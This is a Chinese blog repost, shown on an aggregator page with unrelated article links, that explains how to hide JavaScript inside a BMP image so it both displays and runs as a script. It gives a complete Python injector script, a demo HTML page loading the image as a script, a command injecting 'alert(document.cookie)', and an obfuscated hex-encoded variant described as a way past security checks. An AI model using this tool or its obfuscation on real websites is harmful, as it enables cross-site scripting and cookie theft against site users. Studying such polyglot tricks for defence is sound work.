weixin_30929295
weixin_30929295

图片攻击-BMP图片中注入恶意JS代码

昨天看到一篇文章《hacking throung images》，里面介绍了如何在BMP格式的图片里注入JS代码，使得BMP图片既可以正常显示， 也可以运行其中的JS代码，觉得相当有趣。 执行JS注入的脚本 关键：构造符合正常BMP格式的图片 步骤 1. 将原BMP文件的第三，第四字节替换为\x2F\x2A， 对应js中的注释符号/* BMP文件的第三、四、五、六字节表示BMP文件的大小 2. 在BMP文件末尾添加 （1）\xFF （2）\x2A\x2F,对应的js中的注释符号*/ （3）\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式 （4）定制的JS代码 BMPinjector.py源码如下(Macro Ramili原本的源码）

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
        f = open(fname,"r+b")
        b = f.read()
        f.close()
 
        f = open(fname,"w+b")
        f.write(b)
        f.seek(2,0)
        f.write(b'\x2F\x2A')
        f.close()
 
        f = open(fname,"a+b")
        f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
        f.write(payload)
        f.close()
        return True
 
if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("filename",help="the bmp file name to infected")
        parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
        args = parser.parse_args()
        injectFile(args.js_payload,args.filename)

 

演示 下面演示实际效果 运行脚本，将指定的JS代码写入到正常的BMP图片中 格式：python 脚本名 -i 正常BMP格式图片 JSPayload

python BMPinjector.py -i 1.bmp "alert(document.cookie);"

演示页面run.html

?
1
2
3
4
5
6
7
<html>
<head><title>Opening an imagetitle>head>
<body>
<img src="1.bmp"\>
<script src="1.bmp">script>
body>
html>

 

运行 http://xxx/run.html 加载中... 也可以采用js混淆来绕过检查,得到和上面一样的效果

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

注意：\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie

 

 

参考： http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html

转载于:https://www.cnblogs.com/demonspider/p/3394231.html

你可能感兴趣的:(图片攻击-BMP图片中注入恶意JS代码)

  • ubuntu18.04安装geemap 阿西是有梦想的咸鱼 python编程之路遥感影像处理可视化可视化pythonubuntu
    文章目录安装测试GEE提供了JavaScript和PythonAPI，可以向EarthEngine服务器发出计算请求。与GEEJavaScriptAPI相比，PythonAPI缺乏易于理解的操作文档和交互式可视化结果的功能。由此，geemap诞生并填补了这一空白[1]。这里给大家介绍下我折腾了一晚上才搞定的geemap的安装及测试过程。这里是geemap的GitHub参考链接。安装如Github中
  • Ubuntu的apt、apt-get和snap闲聊（2025年3月28日）
    为什么Ubuntu中有了APT、APT-GET还要加上Snap？在Ubuntu系统中，软件管理工具的多样性（如APT、APT-GET和Snap）常常让人疑惑：既然已经有了成熟的APT和APT-GET，为什么还要引入Snap？本文将从不同角度解析这一问题，探讨Snap的独特价值及其与传统工具的共存意义。这份笔记适用于Linux用户、开发者以及对软件生态感兴趣的读者，内容将随技术演进保持更新。QA：解
  • 《正面管教》第二十一天 栗_cf96
    在小学刚开学的时候老师就要求让孩子自己收拾书包，一开始嫌孩子太慢，每次都替她收拾，慢慢的发现她根本不觉得是自己应该做的事情，觉得是大人应该做的，于是开始让她自己收拾。到现在坚持了一学期，虽然有时候也想让我帮她，我依然坚持让她自己收拾，从最初的蜗牛一样的速度，到现在一会就能收拾好了。在这件小事中，其实锻炼的是孩子的责任感，她知道这是自己份内的事情，也知道如果我帮她做了，她应该感激。让孩子学着自己的事
  • 有多少宝妈，在年复一年的带娃过程中，选择岁月静好 丫丫_3ea7
    当我们每天在为生活琐碎忙得团团转的时候，我们就习惯日复一日的重复着这个琐碎，不曾想跳出这个圈子尤其是当宝宝还小的时候，各种闹腾，各种折腾，吃，喝，拉，撒，总有一大堆的事情等着我们去做。前几天在群里就看到这样的讨论一个二胎妈妈，大概三十出几，在抱怨，＂我一个三十几岁的人，整天在家忙着一家大小吃喝拉撒，孩子又小，又会闹又会折腾，等孩子睡着才有一点自己的时间，刷下朋友圈，一整天就过了，哪有时间学习啊，再
  • 车载诊断架构 - 引导诊断 汽车电子实验室 车载电子电气架构漫谈UDS诊断协议系列架构电子电器架构汽车网络拓扑网络
    我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师。老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师：屏蔽力是信息过载时代一个人的特殊竞争力，任何消耗你的人和事，多看一眼都是你的不对。非必要不费力证明自己，无利益不试图说服别人，是精神上的节能减排。无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事.而不是让内心的烦躁、焦虑、毁掉你本就不多的热情和定力。时间不知不觉中，快
  • 第23次约练 风雨彩虹1219
    焦点中级十期成长分享第180天2018-12-08下午，在和丰老师、王老师的咨询约练中，我感觉咨询师的具体化和时空对话运用的特别好。当来访者为筹划某项重要工作而产生焦虑情绪时，咨询师运用具体化技术详细的为来访者梳理了该项工作的时间安排、收费标准、招生情况及意料之外情况等流程，最后用时空对话的方式，让来访者对过去、现在和未来的自己有一个清晰的认识，从而缓解了来访者的焦虑情绪。来访者是一位敢作敢为，行
  • 济南18家司法亲子鉴定机构汇总一览（2024年8月地址更新） 中检国权有限公司
    我们从刚开始对于亲子鉴定的难以启齿话题，到现在的大众认知，不管是影视还是生活中不经意总会看到亲子鉴定的片段，这年头，上户口关系证明，刑事案件DNA检测，其实孩子在医院出生后就要做个亲子鉴定也是常有的事，有人甚至会开玩笑着拿宠物去做亲子鉴定，济南人也不例外，当我们要做一个DNA鉴定时，就需要提前了解一下自己所在的地区的正规DNA亲子鉴定中心在哪里，那么济南哪里可以做司法DNA亲子鉴定呢?那么，接下来
  • 《成为波伏瓦》书摘—2 书摘
    1.过一个被他人所看见的一生，还是不为他人所看见的一生更好？笛卡尔借用奥维德的话说：“想要过好自己的一生，你必须不被看见。2.站在今天往回看，我们不难发现，波伏瓦当时是陷入了一场完全针对她个人的人身攻击。有的人批判她是个失败的女性，说她背离了女性该有的样子；有的人批判她是个失败的哲学家，说她没有自己的原创性，只是在套用萨特的东西；有的人甚至批判她是一个失败的人，说她丧失了基本的道德水准。因为各种各
  • 01-C语言：第01天笔记 Star在努力 c语言笔记开发语言
    C语言：第1天笔记内容提要C语言概述数据类型常量变量C语言概述计算机基础计算机的组成计算机组成计算机：能进行计算以及逻辑处理的设备硬件：组成计算机的物理部件。（内存条、CPU、硬盘…）开发中对于硬件的认知：硬件包括电子设备、单片机、集成电路和嵌入式系统。软件：计算机中运行的程序和数据。开发中对于软件的认知：软件分为系统软件（OS）、应用软件和编程工具（编译器）计算机的六大部件中央处理器（CPU）：
  • 【RS】GEE(Python)：大规模分析与导出数据
    在前面的章节中，我们探讨了如何在GoogleEarthEngine(GEE)上进行数据加载、处理、分析和可视化。现在，我们将进一步扩展，探索如何处理大规模的数据集和执行复杂的分析任务。通过GEE的云计算能力，用户可以在全球范围内执行大规模的时空分析，并高效地将处理结果导出为所需的格式。大规模分析的基本原则在GEE中，大规模分析是通过ImageCollection和FeatureCollection
  • 【Python篇】Python基础——08day.面向对象编程中类和对象的基本概念及属性和方法的常见分类和使用场景 WXX_s python基础篇python分类开发语言学习
    目录前言一、类和对象1.类→Class1.1概念1.2创建2.对象→Object2.1概念2.2创建二、属性和方法1.实例属性2.实例方法3.类属性4.类方法5.静态方法5.1综合应用6.构造方法7.初始化方法8.魔术方法8.1常用方法8.2案例参考总结前言这章讲的面向对象编程（Object-OrientedProgramming，简称OOP）是一种通过组织对象来设计程序的编程方法。为什么需要类和
  • 【Python篇】Python基础——04day.Python中运算（简单部分，如果会的可以直接跳过）
    文章目录前言一.运算符1.1算术运算符1.2比较运算符1.3逻辑运算符1.4赋值运算符1.5位运算符1.6身份运算符1.7成员运算符1.8三目运算符1.9优先级二.表达式2.1算术表达式2.2比较表达式2.3逻辑表达式2.4赋值表达式2.5成员表达式2.6身份表达式2.7三元表达式2.8函数调用表达式三.推导式3.1列表推导式3.2字典推导式3.3集合推导式总结前言这一章写的是在python中会用
  • 最是那年的风景 南风轻轻
    图片发自App又是梦中醒来，在这个潮湿粘腻的夏天，随着梦境抓在手里的是一把空调吹来的丝丝凉意。梦到了什么？让自己在深重的困意中醒来，却怎么也想不起来。于是懊恼的强迫自己想要再次沉沉睡去，无奈闹铃轻轻地响起，伴随的是一阵悦耳的鸟鸣。忽然间就有点恍然，好似自己置身在田园间，又亦或是回到了小时候的家里，那个夏天被蝉鸣占满了耳朵的院子。女儿在梦中翻了个身，呢喃着喊了一声妈妈，我又恍然间听到在那个飘着槐花香
  • 为白衬衣代言 小坏蛋格瑞特
    曾经我是一个乱穿衣的人，被朋友批评为没有品味、眼光老土。每到重要场合为我都会为在衣橱里找不到一件得体的衣服而抓狂。这一短板在认识玛亚老师之后，就改变了。我现在的穿着，居然不止一次地得到了来自陌生人的由衷赞美。玛亚老师是一位作家、时尚设计师，她的每一本书我都一读再读，如今我只穿她设计的衣服。她告诉我：“如果你只能拥有一件衬衣的话，那么就选择白衬衣吧！”图片发自App我以为自己是一个远离职场的家庭主妇
  • 读书提升自己 镇赉420赵晓丹
    读书习惯的养成来自平时的积累，从小开始，从我做起！作为一位语文老师，我在平时授课的时候经常渗透给我的学生，告诉他们多读书，而且要做好读书笔记，可以摘抄一些好词好句，可以写写读后感，一二年级的话几句话就可以！我认为从小养成一个好的习惯有助于以后的日常！图片发自App图片发自App图片发自App
  • 不要奢望仪式多有意义 图图1513
    图片发自App百日誓师，成人礼，是一些高中为了激励学生的斗志而举行的大型活动，并且越来越像样。为了搞好百日誓师和成人礼，早早都开始筹备。从创意策划、方案设计、部门配合都要反复商榷、演练。最后呈现在众人面前的正式的仪式，都是无比的高大上，有强悍的视觉冲击力，堪称经典。需要关注的重点在这些仪式过后——百日誓师过后，一切照旧——课堂上该睡死过去的你依然喊不醒他，不是说誓师过后就得像打了鸡血一样亢奋，但至
  • Day 302：心流摘抄 kafkaliu
    图片发自App幸福并非瞬间发生；它与运气或概率无关，用钱买不到，也不能依仗权势巧取豪夺；它不受外在事物的操纵，而取决于我们对外界事物的阐释。实际上，幸福要靠个人的修持，事先充分准备、刻意培养与维护。只有学会掌控心灵的人，才能决定自己的生活品质；具备了这种能力，也就相当于接近幸福的境界了。对于大多数的力量我们难以控制，例如我们对自己的长相、气质、体格，能做到的改变相当有限。截止目前，我们还无法决定自
  • 佛系青年的无病呻吟 赵剑歌
    我，今年21周岁，每天的生活一眼望得到头，不吃早饭成了常态，休班也是用来睡觉，变相的拒绝社交，我这样的人可以被称为佛系青年吗？图片来自于赵剑歌用花呗买的手机18年开始实习的时候，曾天真的想过专接本然后考研，因为岁数越大越觉得学历很重要，很多人在小的时候父母都跟他讲过早好好学习，不然长大后会后悔。不知道别人怎么样，反正我是后悔了。初中沉迷于电子游戏，高中沉迷于各种小说的我，有没有想到今天呢？每天过着
  • 最新韩剧《妈妈朋友的儿子》高清在线观看-2024年电视剧【1080p超清韩语中字】夸克网盘高清迅雷网盘百度云免费在线观看未删减版 全网优惠分享君
    《妈妈朋友的儿子》作为一部备受瞩目的韩国爱情喜剧，自其定档消息传出以来，便引发了广泛的期待与热议。该剧由CJENM、StudioDragon等多家知名影视公司联合企划，由《海岸村恰恰恰》的导演柳济元与编剧申夏恩再度携手打造，丁海寅与郑素敏（部分资料中提及庭沼玟，但考虑到最新信息，以郑素敏为主）担纲主演，于2024年8月17日正式在韩国tvN电视台、OTT平台TVING以及Netflix播出。这部剧
  • 聚好推网盘拉新项目，新人到入门精通的三大步骤！ 无忧达人
    聚好推是最新上线的网盘拉新，聚好推这个渠道是有着多年互联网项目经验的平台，已经推出了多个互联网项目，在市面上有着非常多的用户，而且这个平台的口碑是相当不错。这次的聚好推也是重磅发布，尤其是聚好推上线的网盘拉新组队奖励，除了正常的佣金团队收益之外，聚好推推出的组队奖励单人最高可拿28w，这也是行业中首次推广的全新奖励。聚好推注册入口及推广教学放在文末了，划到文章结尾即可注册聚好推聚好推网盘拉新项目优
  • 张乐，中原焦点团队网络初级第33期，坚持分享第44天，2022-04-03 梦里花雕
    善用儿童的想象在与儿童工作的过程中，我发现“水晶球问句”特别能引起儿童的注意，同时也特别有用。因为儿童的抽象思考能力虽较成人弱些，但他们善于投射，同时也很喜欢幻想，从幼儿时期就玩着扮家家或是虚拟打仗游戏的他们，其实特别容易投入想象。当助人者把自己也投入想象时，比较容易引导儿童进入，所以，在执行奇迹问句时，父母必须注意自己的语调与问话的速度，因为它牵涉到对未来的想象，因此在带领时必须将问话的速度放慢
  • 2022-07-08 a爱吃柠檬的猫
    发动机亮黄灯怎么办-汽车仪表盘上发动机图标亮黄灯是什么原因？怎么解决？汽车仪表盘上发动机图标亮黄灯是什么原因？怎么解决？发动机产生故障。车辆在使用过程中仪表盘黄灯亮起，说明车辆发动机需要保养/维护，一般这时要及时检查发动机/就近找车辆维修店进行维护/保养，因为发动机是车辆的心脏，要及时定期保养，以免车辆在使用过程中抛锚路上。发动机故障灯亮后可分为三种情况，每种情况有不同的应对方法：1、第一种是汽车
  • @PostConstruct 注解 机器滴小白 java中的常见注解java开发语言
    @PostConstruct注解用于标记一个方法，该方法需要在依赖注入完成后执行，以完成任何初始化操作。此方法必须在类投入使用之前被调用。所有支持依赖注入的类都必须支持此注解。即使类没有请求任何资源注入，也必须调用标注了@PostConstruct的方法。一个类上只能有一个方法被标注此注解。（翻译自官方解释）一、作用@PostConstruct注解的主要作用是：在依赖注入完成后执行初始化逻辑：比如
  • 永远不变的《奇葩说》 丑小羊
    图片发自App不知不觉追《奇葩说》已经追到第五季了，刚一更新就要迫不及待地去看，像藏在口袋里的糖，总是留不到明天。本季有传承也有创新。前四季的奇葩之王黄执中、马薇薇、邱晨、肖骁摇身一变，成为各个战队的教练。马晓康（马东、高晓松、蔡康永）依然坐稳导师席位，本季还请来奇葩说的第一大黑粉李诞，还有学术担当薛兆丰。赛制也有所改变。60个新老奇葩杠精一对一混战，赢的留下，输的离开，除非导师行使“壮士留步权”
  • 悟医道真（三百零四） 妙手柯楠
    达乎道则明于理。阳脱症，是真阳元气从下面肾中向上散失，阳向上走则表现为热症现象。阴脱症，是真阳元气从上面心君之火向下散失，即阴向下走的表现为寒症现象。盖从下而竭于上者，为脱阳；从上而竭于下者，为脱阴。坎中的阳，以天为体，所以从上而脱。离中的阴，以地为体，所以从下而脱。阳脱，补阴以敛阳；阴脱，补阳以固阴。阳脱、阴脱本质都是真阳元气脱失。补阴以敛阳与补阳以固阴之法，最重要的仍然是要固护真元阳气。阳痿则
  • 运营商级对接方案：FreeSWITCH+IMS的网关健康监控与负载均衡实践 derek2026 部署实践服务器运维信息与通信
    运营商级对接方案：FreeSWITCH+IMS的网关健康监控与负载均衡实践一、功能概述在对接运营商IMS系统的过程中，通常会提供多个信令地址以实现高可用性。本文档描述了如何在FreeSWITCH中配置两个SIP网关地址，实现以下功能：负载均衡：外呼时自动轮询使用两个SIP网关地址。健康检查：系统自动检测SIP网关是否可用。故障剔除：自动跳过当前不可用的SIP网关，仅使用健康状态的地址进行外呼。二、
  • 唐树源老师：《个人信息保护法》对企业的影响及风险防范 唐树源老师
    #欢迎邀请授课（线上/线上，时间时长、内容等均可定制调整）以下仅供参考！【课程背景】《个人信息保护法》已于2021年11日1日正式施行。随着信息时代的到来，信息已成为公认的金矿，掌握越多的信息越能够达到理想的目标，然而并非所有个人信息均允许采集。针对个人信息的收集、存储、使用、加工、传输、提供、公开、删除等需要法律法规予以明确。各类企业作为《个人信息保护法》中的信息处理者，在提供企业服务过程中合法
  • 618风控战升级，瑞数信息“动态安全+AI”利剑出鞘 科技云报道 安全人工智能
    每年的618电商促销季，都是各大电商平台和商家的兵家必争之地。数以亿计的消费者涌入线上平台，期待已久的优惠券、秒杀商品如潮水般涌现，海量交易在瞬间达成，无疑是一场商业狂欢。然而，在这场狂欢背后，自动化程序以毫秒级速度疯狂扫货囤积优惠券；AI驱动的拟人化攻击绕过传统规则引擎，以每秒数十万次的恶意请求冲击服务器；恶意API调用窥探用户数据，欺诈交易如影随形，这些隐形威胁正蚕食着电商生态的安全根基。面对
  • 备份系统也能成为“核心设施”？瑞数信息给出了一套“有韧性”解题思路！ 科技云报道 网络安全人工智能
    在数字化转型的浪潮中，分布式数据库正逐步取代传统架构，成为企业关键系统的“地基”。但随之而来的，是一系列备份与恢复的新挑战：数据碎片化、故障定位困难、恢复时间冗长，甚至在关键时刻“有备无用”。尤其在当下这个“勒索频发、业务上云、系统高并发”的环境中，传统灾备系统显然无法满足企业对稳定性、恢复速度与风险应对能力的更高要求。“数据韧性”由此成为企业的新焦点。所谓数据韧性，是指企业在面对故障、攻击、操作
  • java 结合 FreeMarker 和 Docx4j 来生成包含图片的 docx 文件 liangblog Java生产环境全栈开发Java进阶javapython开发语言
    使用FreeMarker生成HTML，然后通过Docx4j将HTML转换为.docx文件;步骤1.添加依赖确保你的项目中包含了FreeMarker和Docx4j的依赖。以下是Maven的pom.xml示例：
  • C/C++Win32编程基础详解视频下载 择善Zach 编程C++Win32
    课题视频：C/C++Win32编程基础详解 视频知识：win32窗口的创建                   windows事件机制 主讲：择善Uncle老师 学习交流群：386620625 验证码：625 --
  • Guava Cache使用笔记 bylijinnan javaguavacache
    1.Guava Cache的get/getIfPresent方法当参数为null时会抛空指针异常 我刚开始使用时还以为Guava Cache跟HashMap一样，get(null)返回null。 实际上Guava整体设计思想就是拒绝null的，很多地方都会执行com.google.common.base.Preconditions.checkNotNull的检查。 2.Guava
  • 解决ora-01652无法通过128（在temp表空间中） 0624chenhong oracle
    解决ora-01652无法通过128（在temp表空间中）扩展temp段的过程 一个sql语句后，大约花了10分钟，好不容易有一个结果，但是报了一个ora-01652错误，查阅了oracle的错误代码说明：意思是指temp表空间无法自动扩展temp段。这种问题一般有两种原因：一是临时表空间空间太小，二是不能自动扩展。 分析过程：    既然是temp表空间有问题，那当
  • Struct在jsp标签 不懂事的小屁孩 struct
    非UI标签介绍： 控制类标签： 1：程序流程控制标签   if   elseif    else <s:if test="isUsed"> <span class="label label-success">True</span> </
  • 按对象属性排序 换个号韩国红果果 JavaScript对象排序
    利用JavaScript进行对象排序，根据用户的年龄排序展示 <script> var bob={ name;bob, age:30 } var peter={ name;peter, age:30 } var amy={ name;amy, age:24 } var mike={ name;mike, age:29 } var john={
  • 大数据分析让个性化的客户体验不再遥远 蓝儿唯美 数据分析
    顾客通过多种渠道制造大量数据，企业则热衷于利用这些信息来实现更为个性化的体验。 分析公司Gartner表示，高级分析会成为客户服务的关键，但是大数据分析的采用目前仅局限于不到一成的企业。 挑战在于企业还在努力适应结构化数据，疲于根据自身的客户关系管理（CRM）系统部署有效的分析框架，以及集成不同的内外部信息源。 然而，面对顾客通过数字技术参与而产生的快速变化的信息，企业需要及时作出反应。要想实
  • java笔记4 a-john java
    操作符 1，使用java操作符       操作符接受一个或多个参数，并生成一个新值。参数的形式与普通的方法调用不用，但是效果是相同的。加号和一元的正号（+）、减号和一元的负号（-）、乘号（*）、除号（/）以及赋值号（=）的用法与其他编程语言类似。       操作符作用于操作数，生成一个新值。另外，有些操作符可能会改变操作数自身的
  • 从裸机编程到嵌入式Linux编程思想的转变------分而治之：驱动和应用程序 aijuans 嵌入式学习
        笔者学习嵌入式Linux也有一段时间了，很奇怪的是很多书讲驱动编程方面的知识，也有很多书将ARM9方面的知识，但是从以前51形式的（对寄存器直接操作，初始化芯片的功能模块）编程方法，和思维模式，变换为基于Linux操作系统编程，讲这个思想转变的书几乎没有，让初学者走了很多弯路，撞了很多难墙。     笔者因此写上自己的学习心得，希望能给和我一样转变
  • 在springmvc中解决FastJson循环引用的问题 asialee 循环引用fastjson
              我们先来看一个例子：           package com.elong.bms; import java.io.OutputStream; import java.util.HashMap; import java.util.Map; import co
  • ArrayAdapter和SimpleAdapter技术总结 百合不是茶 androidSimpleAdapterArrayAdapter高级组件基础
    ArrayAdapter比较简单，但它只能用于显示文字。而SimpleAdapter则有很强的扩展性，可以自定义出各种效果   ArrayAdapter;的数据可以是数组或者是队列        // 获得下拉框对象 AutoCompleteTextView textview = (AutoCompleteTextView) this
  • 九封信 bijian1013 人生励志
            有时候，莫名的心情不好，不想和任何人说话，只想一个人静静的发呆。有时候，想一个人躲起来脆弱，不愿别人看到自己的伤口。有时候，走过熟悉的街角，看到熟悉的背影，突然想起一个人的脸。有时候，发现自己一夜之间就长大了。         2014，写给人
  • Linux下安装MySQL Web 管理工具phpMyAdmin sunjing PHPInstallphpMyAdmin
    PHP http://php.net/ phpMyAdmin http://www.phpmyadmin.net Error compiling PHP on CentOS x64   一、安装Apache 请参阅http://billben.iteye.com/admin/blogs/1985244   二、安装依赖包 sudo yum install gd
  • 分布式系统理论 bit1129 分布式
    FLP One famous theory in distributed computing, known as FLP after the authors Fischer, Lynch, and Patterson, proved that in a distributed system with asynchronous communication and process crashes,
  • ssh2整合(spring+struts2+hibernate)-附源码 白糖_ eclipsespringHibernatemysql项目管理
    最近抽空又整理了一套ssh2框架，主要使用的技术如下： spring做容器，管理了三层(dao,service,actioin)的对象 struts2实现与页面交互(MVC)，自己做了一个异常拦截器，能拦截Action层抛出的异常 hibernate与数据库交互 BoneCp数据库连接池，据说比其它数据库连接池快20倍，仅仅是据说 MySql数据库   项目用eclipse
  • treetable bug记录 braveCS table
    // 插入子节点删除再插入时不能正常显示。修改： //不知改后有没有错，先做个备忘 Tree.prototype.removeNode = function(node) { // Recursively remove all descendants of +node+ this.unloadBranch(node); // Remove
  • 编程之美-电话号码对应英语单词 bylijinnan java算法编程之美
    import java.util.Arrays; public class NumberToWord { /** * 编程之美 电话号码对应英语单词 * 题目： * 手机上的拨号盘，每个数字都对应一些字母，比如2对应ABC，3对应DEF.........，8对应TUV，9对应WXYZ， * 要求对一段数字，输出其代表的所有可能的字母组合
  • jquery ajax读书笔记 chengxuyuancsdn jQuery ajax
    1、jsp页面 <%@ page language="java" import="java.util.*" pageEncoding="GBK"%> <% String path = request.getContextPath(); String basePath = request.getScheme()
  • JWFD工作流拓扑结构解析伪码描述算法 comsci 数据结构算法工作活动J#
      对工作流拓扑结构解析感兴趣的朋友可以下载附件，或者下载JWFD的全部代码进行分析   /*  流程图拓扑结构解析伪码描述算法         public java.util.ArrayList DFS(String graphid, String stepid, int j)
  • oracle I/O 从属进程 daizj oracle
    I/O 从属进程 　　I/O从属进程用于为不支持异步I/O的系统或设备模拟异步I/O.例如，磁带设备(相当慢)就不支持异步I/O.通过使用I/O 从属进程，可以让磁带机模仿通常只为磁盘驱动器提供的功能。就好像支持真正的异步I/O 一样，写设备的进程(调用者)会收集大量数据，并交由写入器写出。数据成功地写出时，写入器(此时写入器是I/O 从属进程，而不是操作系统)会通知原来的调用者，调用者则会
  • 高级排序:希尔排序 dieslrae 希尔排序
    public void shellSort(int[] array){ int limit = 1; int temp; int index; while(limit <= array.length/3){ limit = limit * 3 + 1;
  • 初二下学期难记忆单词 dcj3sjt126com englishword
    kitchen 厨房 cupboard 厨柜 salt 盐 sugar 糖 oil 油 fork 叉；餐叉 spoon 匙；调羹 chopsticks 筷子 cabbage 卷心菜；洋白菜 soup 汤 Italian 意大利的   Indian 印度的 workplace  工作场所 even 甚至；更 Italy 意大利 laugh 笑 m
  • Go语言使用MySQL数据库进行增删改查 dcj3sjt126com mysql
    目前Internet上流行的网站构架方式是LAMP，其中的M即MySQL, 作为数据库，MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。MySQL驱动Go中支持MySQL的驱动目前比较多，有如下几种，有些是支持database/sql标准，而有些是采用了自己的实现接口,常用的有如下几种: http://code.google.c...o-mysql-dri
  • git命令 shuizhaosi888 git
    ---------------设置全局用户名： git config --global user.name "HanShuliang" //设置用户名 git config --global user.email "[email protected]" //设置邮箱 ---------------查看环境配置 git config --li
  • qemu-kvm 网络 nat模式 (四) haoningabc kvmqemu
    qemu-ifup-NAT #!/bin/bash BRIDGE=virbr0 NETWORK=192.168.122.0 GATEWAY=192.168.122.1 NETMASK=255.255.255.0 DHCPRANGE=192.168.122.2,192.168.122.254 TFTPROOT= BOOTP= function check_bridge()
  • 不要让未来的你，讨厌现在的自己 jingjing0907 生活 奋斗 工作 梦想
     故事one 　23岁，他大学毕业，放弃了父母安排的稳定工作，独闯京城，在家小公司混个小职位，工作还算顺手，月薪三千，混了混，混走了一年的光阴。　　　　24岁，有了女朋友，从二环12人的集体宿舍搬到香山民居，一间平房，二人世界，爱爱爱。偶然约三朋四友，打扑克搓麻将，日子快乐似神仙；　　　　25岁，出了几次差，调了两次岗，薪水涨了不过百，生猛狂飙的物价让现实血淋淋，无力为心爱银儿购件大牌
  • 枚举类型详解 一路欢笑一路走 enum枚举详解enumsetenumMap
    枚举类型详解 一.Enum详解      1.1枚举类型的介绍   JDK1.5加入了一个全新的类型的”类”—枚举类型，为此JDK1.5引入了一个新的关键字enum,我们可以这样定义一个枚举类型。      Demo:一个最简单的枚举类   public enum ColorType { RED
  • 第11章 动画效果（上） onestopweb 动画
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • Eclipse中jsp、js文件编辑时，卡死现象解决汇总 ljf_home eclipsejsp卡死js卡死
    使用Eclipse编辑jsp、js文件时，经常出现卡死现象，在网上百度了N次，经过N次优化调整后，卡死现象逐步好转，具体那个方法起到作用，不太好讲。将所有用过的方法罗列如下：   1、取消验证 windows–>perferences–>validation 把 除了manual 下面的全部点掉，build下只留 classpath dependency Valida
  • MySQL编程中的6个重要的实用技巧 tomcat_oracle mysql
    每一行命令都是用分号(;)作为结束 对于MySQL，第一件你必须牢记的是它的每一行命令都是用分号(;)作为结束的，但当一行MySQL被插入在PHP代码中时，最好把后面的分号省略掉，例如： mysql_query("INSERT INTO tablename(first_name,last_name)VALUES('$first_name',$last_name')");
  • zoj 3820 Building Fire Stations(二分+bfs) 阿尔萨斯 Build
    题目链接：zoj 3820 Building Fire Stations 题目大意：给定一棵树，选取两个建立加油站，问说所有点距离加油站距离的最大值的最小值是多少，并且任意输出一种建立加油站的方式。 解题思路：二分距离判断，判断函数的复杂度是o(n)，这样的复杂度应该是o(nlogn)，即使常数系数偏大，但是居然跑了4.5s，也是醉了。 判断函数里面做了3次bfs，但是每次bfs节点最多
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他